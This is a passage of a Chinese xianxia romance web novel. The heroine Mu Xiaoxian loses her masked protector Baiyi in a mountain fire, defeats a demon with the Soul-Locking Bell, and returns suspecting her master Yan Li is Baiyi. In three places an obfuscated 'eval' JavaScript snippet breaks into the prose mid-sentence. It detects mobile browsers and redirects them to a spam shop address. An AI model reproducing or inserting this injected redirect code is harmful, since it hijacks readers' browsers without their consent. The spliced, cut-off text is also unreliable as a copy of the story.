洞外传来动物的嘶鸣,她手指一动,但实在无能为力。刚才眼前一晃而过的场景带来的窒息感又席卷而来,慌乱、恐惧、悲愤、挣扎、无力、遗憾......她鼻尖一酸,眼角几乎要渗出泪来。 白衣好像轻轻叹了口气,又好像没有。他轻声问:“想到什么了。” 慕小闲摇摇头:“我不知道。我好像......”她掀起袖子,在手臂上摩挲,哑声道:“我不知道发生了什么,但是感觉浑身都很痛......” 白衣轻轻地搭上慕小闲的手,小心翼翼的样子,好像她是个一碰就碎的瓷娃娃。冰凉的气息覆盖上她的皮肤,让先前的灼热感稍稍减弱。 慕小闲气若游丝:“我们现在该怎么办?” 白衣侧头感应了一下外面的动静:“外面火势太大,我们先在这里休息一会儿。” 慕小闲点点头,缓缓闭上眼睛,可剧烈的心跳依旧冲击着耳膜,让她难以平静。她的眼前本该浑浊一片,可此时却渐渐出现一个模糊人影,他冰冷的眼神落在她身上,眼中的无情与冷漠如一把利剑刺入她的胸口。 慕小闲倒吸一口冷气,猛地睁开眼,心口砰砰直跳。对上白衣的目光,她撇开头去,掩饰眼中的刺痛和绝望:“我们还能出去吗?” 白衣不解地望着她。 慕小闲叹了口气,“我以为我修炼得不错,没想到与那个吹笛人一比,简直就是个初出茅庐的新手。你看上去也很疲惫,是与狒狒对峙时消耗了太多仙力吗?” 白衣摇摇头,然后又点点头。 慕小闲疑惑道:“你大抵不想说,我不问了。但我们俩现在的状态,这次恐怕凶多吉少。你后悔帮我吗?” 银色面具下的眼睛,没有丝毫犹豫和迟疑。 白衣的眼神让慕小闲心里一动,恍然感到有几分熟悉,她的目光在白衣身上走了一圈,那种熟悉的感觉越发明显。她在心里狠狠地骂了自己几句,别想东想西,现在保命要紧。 “你不后悔就好。但我后悔来这儿了。”慕小闲小声说。 “为什么?” 慕小闲咬了咬唇:“从北溟海极逃出来时,你让我去找晏离,我找到他了。我想尽办法让他收留我,让我能够跟在他身边修炼仙术。不瞒你说,我这次是偷跑出来的。因为...... 慕小闲眼眶红了:“因为我怕他被卷进来。” 白衣眼神微动。 慕小闲怕他不信,赶紧解释道:“他与我素昧平生,肯收留我,已是对我仁至义尽。何况他身上还有伤,我想让他安心待在家里,不想让这些乱七八糟的事情打扰他。” 白衣轻声道:“或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137744|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许他更不想你瞒着他。” 慕小闲一哽,垂眸:“我知道。但是多一事不如少一事,若是我能摆平呢?这里多危险啊。” 她舔了舔唇,装作不在乎地说:“现在好了,就算这次我真的逃不掉也没关系,反正当初升天时我就算死过一回了。晏离继续在山中岁月静好,就当没有见过我。 “抱歉连累你了。这不是我期望的,希望你能逃出去。” 慕小闲抬起头,想冲白衣挤出一个洒脱的笑容,却被他的眼神吓得一怔。此时白衣看她的眼神,越来越压抑,眼底仿佛凝聚着深不可测的漩涡。她从来没有在他眼中看过这种神情,像是要吃人一般,她手足无措地抓了抓衣摆:“我哪里说错了吗......” 白衣深深看了她一眼,眼中闪过复杂的神色:“你竟是这样想的......” 慕小闲傻傻地接话:“对啊,死到临头还不能说几句大义凛然的话?” 白衣深吸一口气,胸口微微起伏,声音转冷:“你就没有觉得愧对晏离?” 慕小闲极是认真地思索片刻,有些犹豫地答道:“有吧,他好心好意教导我,没想到我这么没出息。” 白衣眼中露出失望的神情。 还不对?慕小闲转了转眼珠,反问道:“你觉得我师父会怎么想?” 白衣的目光从她身上移开,用极为冷淡的语气说:“我不是你师父。不知道他对好心好意教导的徒弟,想一死百了作何感想。” 慕小闲闻言拧眉瞪了他一眼,觉得他话中有话,有些莫名其妙,嘴上倔强道:“他怎么想是他的事,关我什么事,又关你什么事。” 两人忿忿结束对话,别开头谁也不理谁。 浓烟涌进洞内,慕小闲咳嗽得越来越频繁,大约是念起了白衣的好,凑近他的背影道:“白衣,你不是生我气了吧。” 白衣背对着她没动,慕小闲爬到他身边,说:“你说的对,我师父收我为徒不是为了让我替他挡灾,他不希望我轻视自己的性命。若是我不能活着回去,他一定会很失望。” 白衣回眸淡淡瞥了她一眼,又转过头像是不愿与她置气。 慕小闲还想说什么,洞外突然传来一阵喧嚣,她抬起头感应了一下:“好像有人过来了。是元卓和花莳吗?” 白衣扶着慕小闲向外走去,洞内昏暗,外面的火光从洞口透进来,已然快要烧到山顶。 远处飘来诡异的笛声,火舌在婉转的音调中嚣张地舞动。 满目火红,生灵涂炭。 数名黑色身影高举着火把从丛林中走出,神情依旧浑浑噩噩,肢体如同提线木偶一般生硬。两人身心俱疲,山洞被火势包围,面前又被众人夹击。 “怎么办?”慕小闲虚弱地问。 白衣沉默片刻,望着洞外凝眸道:“我有一个办法。” 鉴于白衣先前一贯可靠的行事作风,慕小闲不假思索便同意由她先行将村民引开。两人走出山洞时,村民已将洞口围成一圈,手中的火把纷纷向他们掷来。白衣长袖一挥,火种纷纷落在地上,很快燃尽化作一缕青烟。 村民如一群行尸走肉,浑浑噩噩地朝他们走来,凑得越来越近,包围圈越来越小。 白衣挥袖之间,眼前一排村民应声倒地,手中一道白光像弯刀一般从燃烧的丛林间横扫而过,火海立时被劈成两半,中间破开了一条小径。 慕小闲看准时机脚尖轻点,屏息凝神跃过重重人群,从小径上空飞驰而过。清风裹挟着热浪袭来,热气升腾,从脚下蔓延至她的脸颊,汗珠浸透了她的发丝,裸露在外的肌肤红得发烫。 人群果真发生躁动,一部分转身踉跄地追赶她,可大多数依旧围在洞口。慕小闲不禁有些心慌,撇头去看白衣的状况。 高山之巅,一道黑影闪现,立在空中静静观望着这边的情形。 就在慕小闲犹豫时,忽然空中传来一声刺耳的哨声,一道光影呼啸而过,如一道疾驰的闪电跃过高山火海,直冲向她而来。 太快了! 几乎在一瞬间跨越了大片丛林,扑到她眼前。慕小闲避之不及,瞳孔骤然紧缩。 咻—— 电光火石之间,黑紫色的寒光在虚空中与刺眼的白色相撞。 两股力量爆发出一阵强光,顷刻间又几乎同时消散。 而那道熟悉的白色身影,在半空中犹如一支破碎的羽毛,失去了往日的生机与光泽,缓缓飘落...... 81. 第 81 章 突如其来的变故,让慕小闲僵在半空。 脚下大火纷飞,火星漫卷,噼里啪啦的火烧声不绝于耳。 带着刺痛的灼热感在她身上蔓延,她紧紧地注视着前方,好像时间静止了一般,周围的动荡与她全然无关。 长久的耳鸣与目眩,心口剧烈的撕裂感紧随其后,她向前跌走了一步,不敢相信地望着白衣倒下的身影。熊熊火光染红了他雪白的衣裳,他一动不动,身体仿佛被敲碎一般,一碰就会四分五裂。 许久慕小闲才听到自己喉咙发出撕裂般的咆哮,眼中冒着愤怒的火光,扬袖用尽浑身的力气对着远处的黑影拍下一掌。 山棱轰然炸开,碎石哗哗从山体滚落,坠入火海之中,烟尘弥漫。 顾不得有没有击中对方,慕小闲冲回洞口,挥袖将围过来的众人掀开,手足无措地跪在白衣身旁。一张口,才发觉喉头艰涩难忍。 白衣的面具上裂开一条深深的裂痕,他微眯着眼,无力地望着通红的天空,气若游丝道:“哭什么......” “我觉得我好没用......”慕小闲颤抖地说:“狒狒是这样......你......你也是这样。” 白衣艰难地扭过头看向她,又越过她眼神没有焦距地看向远处:“那些被控制的人......需要你......” 眼泪一颗一颗滑落,瞬间被热浪蒸发。慕小闲心里积压的怒气冲上头顶,吼道:“我和他们非亲非故,他们将我逼到这种境地......我为什么要帮他们?凭什么?” 白衣手指微曲,像是要动,慕小闲赶紧抓住他的手。白衣手上的冰凉似在她心中划下了一刀,一股恐惧钻入她的心尖...... “别......说气话......”白衣嘴唇微微喏动,好像费了很大的力气。 慕小闲死死攥着他的手,泪水模糊了双眼,她哽咽道:“不行。我真的救不了他们。我连自己都保护不了,我就是一个什么也不会的凡人。我想回家,我不做神仙了......” “你可以。”白衣微弱地说着,声音越来越小。 “因为你是......” 慕小闲哭得上气不接下气:“是......什么?” 白衣望着烧红的天空,并没有回答她,眼里不见恐惧和悲痛,而是露出一种历经千帆的平静和释然。 “你一定可以……”白衣缓缓阖上眼睛 慕小闲跪在地上,怔怔地看着渐渐失去生气的身体,牙齿止不住地打颤。 前一秒她还藏有侥幸,后一秒心脏就被拽入万丈深渊。 悲愤像汹涌的海浪瞬间吞噬了她的感官,她像被人抛进了茫茫大海中,身体在水里无力地浮沉。识海中回荡着扰人的嗡鸣,她眼前一黑,喉头涌上一股铁锈味。 手中的冰凉缓缓抽离,白衣的躯体化成了羽毛一般的细屑,随风而去,与崩裂的火星一齐飘向了遥远的天际。 慕小闲慌乱地伸手去抓,冰凉的碎片如雪水融化在掌心...... 包围的人群一步一步向她聚集,火光倒映在空洞的眼神中,手中的火把和武器全部对准了她。 她闭上眼睛,咬紧牙关,握紧拳头,身体剧烈地颤抖。 为什么会这样? 为什么! 白衣为什么要不顾一切救她? 慕小闲猛地睁开眼睛,昔日灵动的眼眸划过一片血色,融融火光映在脸颊,竟像是多了几道红痕。 远处黑影高高低低地漂浮着,冷漠地举起一支浑身泛着紫光的玉笛放在唇边。 幽幽笛声落入众人耳中,火势陡然向上一窜,人群情绪愈加高涨。 慕小闲面无表情地站起身,微眯了下眼,眼中爆发出狠戾的光,从人群身上一一扫过。周身凭空旋起一阵风,衣摆与头发在风中飘扬。气流陡然加剧,霎时间如同海浪向四周席卷,原本喧杂的声音突然消失。沉寂几秒后,眼前层层包围的人群被掀翻在数十米开外。 一时间,村民居然全部昏死过去。 半空中黑影吹笛的姿势一顿,向她直直望来,似乎在揣摩为何她突然拥有了如此强大的震慑力。 慕小闲腾空而起,升到与他同一高度,两人隔着高山火海遥遥对峙。脚下漫山大火,一条条蜿蜒的火龙在山体间游走,炙热地灼烧着悠悠生灵。火海汹涌成浪,大风将两人的衣袖吹得猎猎飞舞。 虽然相隔数里,但他们之间无形的气息如同绷紧的琴弦,一触即发。 须臾,慕小闲眯了眯眼,清晰地吐出几个字:“我认得你......” 话语如同游丝传入对方的耳中,黑影眼神微动,没有做声。 慕小闲的舌头从尖利的虎牙上舔过,对黑影勾起唇角,咬牙道:“上次你逃跑了,对吧?” 她周身的气压一变,气流掀起她额前的碎发。 “你到底是谁?为什么针对我?为什么不放过我?为什么一次次对我出手?” 花神山往昔之貌在她眼前飘过,与眼前苍凉的景色形成刺目的对比。 慕小闲眼中涌出杀气,吼道:“为什么要连累无辜的生灵!” 话音未落,她素色的衣摆下突然迸发出一道耀眼的金光。 她张开手掌,一枚精巧的金铃散发着刺目的金色光晕漂向空中。 铃铛发出沉重的嗡鸣,回荡在群山之巅,像是寺庙钟声响过后的悠悠余韵。忽而,引起了山中灵体共鸣,火焰中传来叮呤,断断续续,经久不灭,汇成了哀怨的一曲。 黑影一滞,身体向前挪移,想要看清她掌中之物。 慕小闲双掌向外,撑开双臂,掌中仙力加持,同时口中念诀。金色包裹着铃铛,震动频率越来越快,光耀也越来越大。 山体随着铃铛晃动起来,震动带来变换的气流向下横扫而过,嚣张的火势竟然被压了一头。 黑影自觉不妙,手中的笛子化作一把长琴,带着魔气的音调破空而出,尖利如哨音。紫色魔气幻化成展开翅膀的朱雀,遮天蔽日,顷刻间如同末日降临。 果然是你。 慕小闲衣袖一挥,祭出锁魂铃,向外扩散的气流与魔气在火海上剧烈一撞。顿时,火海轰然向两边扩散,露出了中央焦黑的土地。 慕小闲眼中充斥着红丝,不削一顾地轻哼一声:“再来几次也一样。你不过是我的手下败将!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137745|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 黑影终于出声,像是隔着几层面纱,含混不清:“我杀了他。你已经输了。” 慕小闲一口血卡在喉头,气得怒发冲冠,恨不能将对方碎尸万段。她手臂回转,带着锁魂铃的震荡,耗尽浑身残余的仙力一掌推出! 轰然一声。 铃铛震动加剧,像是感受到她的怒气,爆发出极其耀眼的青白光芒,像一束极光照亮了昏沉的天空。 一股沉寂已久的力量横空出世,恍若伴随着龙吟凤啸,以雷霆万钧之势直冲九霄。 风起云涌,山谷嗡鸣。 黑影大骇,速速挥袖,紫色魔气汇成一道屏障挡在身前。 金光推波而出,像倾泻的洪水迅速向外坍塌,霎时间横扫至千里之外,覆盖了整片大地,山体随之剧烈震动。 紫气抵挡不住,黑影被气流击中从空中跌落,掉进密林深渊。 慕小闲收回铃铛,就要去追,突然五脏六腑剧烈一痛,喷出一口鲜血,向下栽倒。 她倒在焦黑的土地上,眼前视线渐渐模糊。锁魂铃的力量对于她太过强劲,她的身体本就超过负荷,现在怕是要回天无力。 若是有什么遗憾,就是没有亲手将黑影送上西天。 不......还有...... 眼前的光线愈渐熹微...... 没有和晏离好好道别...... 天空浓云聚集,电闪雷鸣。倾盆大雨哗哗落下,炙热的大地冒出如烟如雾的水汽。 雨滴落在土壤中,发出淡淡的金光。 枯竭的参天大树渐渐恢复原来的色彩,枝丫长出了翠绿新芽。嫩草钻出贫瘠的土壤,焦黑的土地重新被绿色覆盖。倒地不起的动物眨了眨眼睛,一只一只从地上爬起来,透过细密的雨帘,茫然地望向逐渐明亮的天空。 春回大地,万物复苏,蜻蜓在潺潺溪流上轻盈掠过,溪边的黄花萱草在清风中微微摇曳。 归为尘土的生灵,像是倒放一般,一个一个回到原地。 雨水浸湿了慕小闲的身体,她浑身动弹不得,眼珠艰难地转了转。水珠从眼眶里流出,顺着鬓发流下,分不清是雨还是泪。 白衣呢? 为什么白衣没有回来...... 慕小闲头晕脑胀,狭窄的视野中突然出现了一个阴影。她瞪大了眼睛,心脏狂跳。 一双手将她一动也不能动的身体抬了起来,她想扭动脖子,但身体不受控制。 是谁? 是白衣吗? 她被平放在一块夹板上,身旁两个轮子幽幽转了起来,头顶的景色缓缓向后挪移。 前面传来一个欠打的声音:“哼。想我是天地间几百年来唯一一个化为人形的灵体,没有人供奉就算了,现在居然沦落到拉牛车。” 慕小闲张了张口,由失望到绝望不过几秒钟的事,她挤出一个比哭还难看的笑容:“这么厉害,当年女娲怎么没把你拿去补天......” 车轮缓缓转起来,轧过凹凸不平的路面,慕小闲的身体在颠簸中起起落落。花莳在车前愉快地哼着小曲儿,不顾身后某人微弱的声音:“特么的,不能慢点吗......” 82. 第 82 章 遥远天庭,暮色将倾,余晖映在宏伟的白玉宫殿上,像是镀上一层绚烂的金色霓裳。云雾裙边滚滚而来,风云交汇,几经轮换,一道闪电猝然劈开昏昏夜色,玉霄殿上光影交替,方才滔滔不绝的争论陡然停止。 殿上,一身深青色卷云暗纹长衫的符鸣上神,面色深沉,眉宇间凝着云翳,浑身散发低压的气息。在一众神官惊愕之时,符鸣挺身而出向天帝作揖,对一众神官朗声道:“锁魂铃突然现世,一定与凤钰有关,他如今很可能就在青丘。” 众仙面露异色,私下嘀嘀咕咕:“怎么会这样?” “这可怎么办?” 符鸣义正言辞说道:“锁魂铃本是天庭的宝物,凤钰私自盗取就是死罪。天帝念他往日功绩,让臣将他封印,他却冥顽不灵,借那凡人之手解除了封印。诸位难道不觉得蹊跷?为何那凡人能将天庭的封印解开?” 众仙芸芸:“当日春桃宴指控她是魔族之人,我们尚有疑虑,但她居然从北溟海极逃脱,看来确实背后有天庭之外的势力参与。可她到底是什么人?与那凤钰有何关系?他们究竟想做什么?” 身着庄严的镶金丝暗纹黑袍的华尧上神伫立在众神官之前,凌厉的眉峰如高山,眼中凝重的神色如幽深寒潭。他静静听着殿上的对话,思绪却飘到了九霄云外。 大殿的宝座上,天帝正襟危坐,深沉锐利的目光在一众神官身上扫过:“众仙家对这件事有何看法。” 符鸣又道:“尊上,臣请命前往青丘捉拿凤钰,带回锁魂铃。” 华尧的余光落在躬身的符鸣脸上,眼波微动,落在袖中的手指细细撕磨,却是不动声色。 天帝目光浅淡地瞟了一眼华尧,说:“处理凤钰不在一时半刻,倒是那个慕小闲......” 华尧手上一顿。 “司命星君,你可觉得她会有变数?” 扎在神官堆中不起眼的墨绿长袍一脚跨出:“慕姑娘自上天之后,凡间的命数就断了。故,臣无法得知她日后的命数。” 啧。天帝蹙了下眉,对这个回答十分不满。 “这次锁魂铃现世之地,在青丘西南方,此地不甚起眼,众仙家有何想法?”天帝的目光在神官脸上逡巡,兜兜转转回在华尧身上。 他今日倒是安静的很。 “华尧上神。” 华尧冲天帝俯身作揖。 “你前些日子从青丘路过,说那里出现了魔族的踪迹,可还有其他线索?” 华尧垂眸答道:“确有一魔族出现在了青丘西南的花神山,但她孤身一人在山林中,身后并无其他魔族的踪迹。” 天帝眼框微微用力,带着不容置喙的语气道:“是没有踪迹,还是你没发现踪迹?”周遭气氛一变,竟让殿上的众仙感到丝丝寒凉,如同被冻住一般,一动不敢动。 华尧作揖的姿势未动,抬首遥遥望向众仙之上的天帝,在他隐匿着猜忌的目光压迫下,再次沉声道:“臣所言句句属实。” 天帝沉默须臾,微微舒了口气:“就算魔族想要联合青丘,以白瑶素来自恃甚高的性子也很难屈尊迁就。她应当知道现在的世道,与魔族合谋对青丘百害而无一利,我不认为魔族有办法让她配合。此事你们密切关注,如有变数立刻上报,其他容后再说罢。” 众神官纷纷俯身。 符鸣一愣,追问道:“尊上,那凤钰......” 以凤钰之能,什么情况下会催动锁魂铃?若真是他亲自催动,恐怕青丘发生之事早已轰动天界。还需要这群神官在这儿瞎猜? 天帝的目光越过众神,望向殿外翻滚的苍白云海:“凤钰恐怕不在青丘啊......” 。 日光斜斜映入花神庙。 慕小闲昏迷了七日,方才悠悠转醒。 房梁上挂的蜘蛛网不知被谁捣了,梁柱干净得不染纤尘,鲜亮的红漆像是回到了三百年前一样。 “醒了?” 慕小闲张张口,喉咙像火烧一样疼痛。 “水......” 花莳拿了一只水袋,凑到她嘴边。慕小闲撑起身,大口将一整袋喝完,冰凉的水顺着咽喉滚入,灼烧感稍微缓解了一些。她一扭头,看到花神像被擦拭得闪闪发光,案前居然放着三只果盘,上面堆积着一些新鲜瓜果。 慕小闲身上沉重得很,她转了转手腕,关节处的刺痛让她皱起眉。花莳瞥了她一眼:“别看我。我和山里那群灵体已经尽力帮你修复身体了,不然你昏迷两三个月都醒不来。” 慕小闲知道她所言属实,又问:“元卓呢?” 花莳眨眨眼,满不在乎地说:“元卓和村民争执时受了些皮肉伤,不过和你相比根本不值一提。他看你伤重,本来想将你带回元宅休养。但你若是去了,我还怎么给你修复?嘁,看不惯他一副规规矩矩的样子,让他从哪儿来滚哪儿去了。” 花莳的蛮横今后元卓有的受了。 慕小闲四处看了看,对焕然一新的花神祠堂感到很不习惯。 祠堂里像是被彻头彻尾打扫了一番,案台上的装置和木门换了新的,石像前铺了几只色泽艳丽的跪垫,余下破败之处也做了记号。“你的待遇什么时候变得这么好了?” 花莳抬了抬眉,眼角流露出喜色:“嘿嘿。那天花神村大乱,山里突发火灾,也不知道怎么下了一场金色大雨,雨水中带着一股仙力,让整座花神山在一瞬间万物复苏,恢复了生机。村民可都看见了,元卓跟他们说是因为花神山有神明庇护,于是村里人决定重振花神祠堂!” 慕小闲勾了勾唇角:“那你岂不是马上就会有人供奉?恭喜恭喜。” 花莳大笑着拍了拍大腿:“老子就知道会有这一天哈哈哈哈。” 慕小闲的笑意僵在唇边,一想到白衣的离开,心口传来阵阵撕裂般的痛,难受得让人窒息。原来梦境中的那个身影不是晏离,而是白衣。如果她当初没有来花神村,白衣是不是就不会死? 花莳察觉到她的异样,问:“怎么了?” 慕小闲摇摇头,叹了口气:“白衣去世了。” 花莳脸上的表情一顿,诧异地看着她。 慕小闲以为她一时无法接受,郁闷地说:“真的。他被那个吹笛子的黑影击中,然后在我跟前合眼的。他的身体还分裂成羽毛状飘走了。我第一次遇到这种事,快崩溃了。” 花莳不敢置信:“有多崩溃?” 慕小闲的五官皱在一起,颤抖着深吸了一口气:“我觉得心里好像缺了一块,凉嗖嗖的。也许往后这个缺口会越来越大,直到掏空我的身体吧。” “啊?”花莳提高了声调:“啊哈哈哈哈哈哈哈......” 很好笑吗?莫名其妙。 慕小闲瞪了她一眼,生气地骂道:“你疯得很突然啊。” 花莳笑的眼泪都出来了,仿佛听了什么天大的笑话,还拍了拍手:“你真是......哈哈哈哈......” 慕小闲怒火中烧,气得去推她肩膀:“你到底在笑什么?”< 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为什么本尊不出面,屡次派出分身? 为什么分身还包裹得严严实实,不敢让她一窥真容? 难道是她认识的人? 白衣一系列的操作显得更加诡异,慕小闲百思不得其解。 接连几日,慕小闲都在花神祠堂中慢慢调养。元卓来过三次,带来了一些精致的吃食和补品,每次小心翼翼和花莳搭话都会被她激得满脸通红,落荒而逃。但元卓有些死脑筋,还有些屡战屡败、屡败屡战的奋斗精神,不然大可不必三番上门。 对,人来不来无所谓,东西到位就行。 慕小闲见过元家先祖,也受了元叙的一些恩惠,现在对元卓总有一种长辈见小辈的关切之情,忍不住对花莳说:“元卓没做对不起你的事,你也别太过分了。以后受人祭拜就要多关照他们,性子收敛一点。” 花莳坐在案台上嚼着果子,横了她一眼:“嘁,站着说话不腰疼。肚子都吃不饱的时候,哪顾得上什么收敛不收敛?这性子没法改了!” 慕小闲是领会了她的刀子嘴,她一尊石像想来也很难拥有豆腐心。供奉这样一尊凶神恶煞的石像,就算保佑不了风调雨顺,辟辟邪也是可以的。这不,花神村在跨越了三百年漫长的磨难后,总算平静下来。 黑影虽然没有抓到,但被锁魂铃一击必然身受重伤,能不能活下来都是个问题,一时再难兴风作浪。既然他是冲着慕小闲来的,慕小闲一走,他也没有理由再折腾花神村的百姓。 夜里,疏星点缀在皓月之畔,空旷的田间时不时响起几声蛙鸣。 祠堂里安静极了,慕小闲合眼躺在祠堂石像后新铺放的长塌上,翻了个身。她睡得很不安稳,眉头紧蹙,脸色涨红。她离开竹屋已有半月,现在迫切地想与晏离联系,她在识海中尝试了几次,却捕捉不到对方的气息。奇怪,上次在三百年前她昏迷之后,轻而易举进入晏离的灵境,这次怎么不行? 识海中一片空白,晏离与她相距千里,一丝一毫的感应也无。难道上一次不是她自己闯进的,而是晏离有意带她进入自己的灵境? 她舒了口气坐起身,心跳紊乱,两只眼睛在黑暗中闪着微光。 晏离会不会出事了? 石像传来充满倦意的声音:“怎么了?” “不知道。”慕小闲深吸几口气,当即做了个决定:“我有一种不好的预感。我要赶快回去。” 83. 第 83 章 清晨,第一道晨曦透过竹隐山层层叠叠的草木,降落在林间,唤醒阵阵鸟雀啼鸣。一道身影飞快跃过枝头,遍地落叶被突如其来的气流一卷,倏而向两侧散开。 慕小闲连夜赶路,刚落在竹屋外,一团棕黄色的东西一跃而出,扑进她的怀里蹭蹭。她的脚步一刻也未停歇,敷衍地揉了两把,心思早已飞进了屋内。 竹屋四周的杂草生长得旺盛,好像很久无人打理,她心里的不安越发浓烈,边走边问:“师父呢?”寻常这个时候他已经起身了。 不等小黄瓜回应,慕小闲推开门,一股封闭了很久的沉闷气味涌出。 慕小闲目光在厅内飞快扫视一圈,桌椅茶盏似乎和她临走前无甚变化。她偏头向晏离的房间看去,房门紧闭,没有感应到声息。她慢慢走至门前,每一步都小心翼翼,好似怕惊扰到什么人。 她在门前迟疑片刻,缓缓伸出手。 不怀疑是不可能的。晏离带着囚仙印行动不便,如果白衣是他的分身,一切就可以说的通了。 但是他为何屡屡救她?为何隐瞒自己的身份?为何将她引来竹隐山拜他为师? 她希望她的猜测是对的,白衣就是晏离,他还活着。但又感到惶恐,如果白衣真是晏离,他受了这么重的伤,现在会是什么样子? 房内突然传来窸窸窣窣的声音,慕小闲的心如同被人攥在手中揉捏,她收回手,轻声道:“师父,我回来了。” 良久,慕小闲等得心底发凉,门扉才轻轻推开。 一扇之隔,他依旧清俊如画,可脸色比平日还要苍白冷淡,如扇的眼睫轻轻搭在眼睑上,唇瓣没有一丝血色。他好像又瘦了,如一片白纸一般,轻轻一推就会猝然倒塌。 两人对望,恍若隔世,一时竟然说不出半个字。 看到晏离安然无恙,慕小闲本应松了一口气,可晏离一如既往的淡漠又像一把剑刺进了她的心,内心的不安又汹涌起来。 “师父,我这些天不在,你还好吗?”慕小闲小心翼翼地问。 晏离的眼睫轻颤,避开了她探究的目光,疏离道:“你擅自出走,自行闭门思过吧。” “闭门思过?”慕小闲不敢置信地问。 晏离闻言抬眸地对上她的目光,眸中平静如水:“这些天你有没有反省?” 慕小闲隐隐觉得不应当是这样的,如果晏离是白衣,九死一生之后他不该是这样的反应。难道她想错了? 她舔了舔唇,在他双眸之中仔细观察,但淡然的神色中看不出异样,只能先压下心中的疑虑,低头道:“我知错了。我这就去闭门思过。师父,你别生气。” 她疑惑地拧起眉,边思索边向自己房间走去,脚步一顿,转头求证道:“师父,这些天你都在竹屋吗?你有没有出门?” 晏离神色无异:“我一直在这里,哪里也没有去。” 慕小闲不死心,又问道:“我看小黄瓜好像胖了,它这些天都吃了什么啊?” 晏离喉头一滚,沉而缓地说:“你不在,无人做饭,厨房剩的蔬菜瓜果都是它的。它吃起来没有节制,几天就胖了一圈,你可以问问它是怎么想的。” 慕小闲恍惚地“哦”了一声,眼神飘忽地走回房,一时不知该做何感想。关上门时又忍不住悄悄看了一眼晏离的方向,发现他已经阖上门,将她的窥视拒之门外。 慕小闲感到精疲力竭,长叹一口气躺倒在床上,茫然地望着房梁。晏离究竟是不是白衣? 慕小闲闭门思过三日,估摸着晏离的气应当消了,便自动恢复了自由,又是一条好汉。 晏离的气色不如从前,这几日兴致怏怏,每日早晨起身与慕小闲打一照面,然后就待在房间里一整日不见人,慕小闲想试探他也无从下手。 不过她也不是坐以待毙之人,既然她存了心思,便会五次三番敲门打探。理由有时是修炼完后,请他答疑解惑。有时是做了糕点糖水,端给他尝尝。有时是看日头不错,搬了躺椅请他来院子坐会儿。还有时也无甚理由,便倚在门边,随便闲拉家常。 晏离生性冷淡,不喜人打扰,在慕小闲屡次叨扰下,终于凝眉道:“我看你并未有所反思,不如再闭门几日,想清楚了再继续修炼。” 慕小闲心想你躲得了初一躲不过十五,日日朝夕相对,我还怕找不到端倪? 晏离爱干净,每日都要沐浴。慕小闲见他行动不便,就在他房中的水桶倒上热水,自己守在门外“捍卫师父的贞洁”。 小黄瓜叽叽跳过来,一头撞在慕小闲的腿上,把她逗乐了:“古人诚不欺我,果真有守株待兔。你怎么走路不看路?” 小黄瓜:叽叽叽叽。看漂亮姐姐。 慕小闲将小黄瓜拎到怀里:“兔子不是不会说话吗?怎么偏偏你聒噪的很?” 小黄瓜以为是在夸它,又对慕小闲吹拨一番,夸得她晕头转向、不知南北。 看看!她在小动物心中的地位还是很崇高的嘛! 慕小闲坐在门前轻轻抚摸小黄瓜的毛发,它舒服得眯起了眼睛。 日头偏转,清风吹拂起长发,影子在脚边悄悄转了个弯儿。晏离做什么都是安安静静的,就连洗澡都没有水声。 ...... 洗澡怎么能没有水声? 慕小闲偏头望向屋内,隔着门打量,不应该啊。她收回目光,心想或许他是用了什么仙术屏蔽了声响吧。又等了半晌,慕小闲估摸着水应当凉了,晏离却迟迟没有动静。 不对,晏离会不会晕倒了? 慕小闲惊得站起来,小黄瓜从她腿上跌到地上,摔了个结实,双眼茫然。 晏离身体虚弱,长时间泡澡说不定会晕倒!慕小闲在厅内转了两圈,偷偷瞄了一眼晏离的房门,看不清里面的状况。 “师父?”慕小闲提高音量:“师父,你洗好了吗?” 屏风之后没有回应,只有微弱的呼吸声。 “师父?你没事吧?”慕小闲皱眉,怎么办?她要进去看看吗? 但是,晏离肯定不希望她看见什么不该看到的。她的手搭在门扉上,心如擂鼓,如果晏离是白衣,他身上会不会留下什么痕迹?这或许是个检验他身份的好时机。 “师父,我进来了?”慕小闲深呼吸两口,捂着眼睛轻轻绕过屏风,从指缝中窥视...... 晏离背对着她坐在木桶中,露出半截干净利落的颈线,乌黑湿润的秀发垂身后。 慕小闲顿时心脏狂跳,咽了咽喉咙,悄悄走了进来。 晏离的背影一动未动,依然没有反应。 慕小闲从衣架上拿起擦身的长帕,挡在身前,悄悄挪到木桶的另一边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137747|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,从帕子上露出两只眼睛。 晏离沉沉地闭着眼,微微垂下头,耳边垂落的发丝在水面打着圈儿,胸口随着呼吸渐渐起伏。他的身体平日看上去瘦削,但线条却恰到好处,既不生硬也不柔弱,多一分少一分都会破坏他独特的气质。 